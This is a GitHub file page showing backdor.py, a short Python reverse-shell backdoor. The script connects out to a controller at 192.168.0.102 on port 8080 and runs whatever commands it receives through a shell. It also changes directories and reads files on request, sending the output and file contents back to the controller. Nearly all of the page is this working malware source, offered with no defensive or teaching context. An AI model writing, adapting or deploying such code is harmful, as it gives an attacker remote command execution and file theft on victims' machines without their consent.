-
Notifications
You must be signed in to change notification settings - Fork 0
/
backdor.py
64 lines (50 loc) · 2.12 KB
/
backdor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import socket
import subprocess
import sys
import os
class backdor:
'''define a class'''
def __init__(self, ip, ports):
self.connected = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connected.connect((ip, ports))
# connected.send("[+] Connection establisted.\n".encode())
def use_for_system_command(self, commnd):
'''define a function'''
return subprocess.check_output(commnd, shell=True)
def command_send(self, deta):
'''define a function in this function send data in server client'''
self.connected.send(deta)
def command_receive(self):
'''receive command use this function'''
return self.connected.recv(1024)
def change_dir(self, path):
'''this function use to for change the working directory'''
os.chdir(path)
return os.getcwd()
def read_file(self, file_path):
'''this function use to open a txt file use to binary mode'''
with open(file_path, "rb") as bin:
return bin.read()
def run(self):
'''this function use to run all auto function'''
while True:
comd = self.command_receive().decode()
if comd.split()[0]=="exit":
self.connected.close()
sys.exit()
elif comd.split()[0]=="cd":
try:
respoce_client = self.change_dir(comd[3:]).encode()
except FileNotFoundError:
respoce_client = f"The system cannot find the file specified:{comd[3:]}".encode()
elif comd.split()[0]=="downlod":
file_name = len(comd.split()[0])
try:
respoce_client = self.read_file(comd[file_name:])
except FileNotFoundError:
respoce_client = f" No such file or directory:{comd[file_name:]}".encode()
else:
respoce_client = self.use_for_system_command(comd)
self.command_send(respoce_client)
dor = backdor("192.168.0.102", 8080)
dor.run()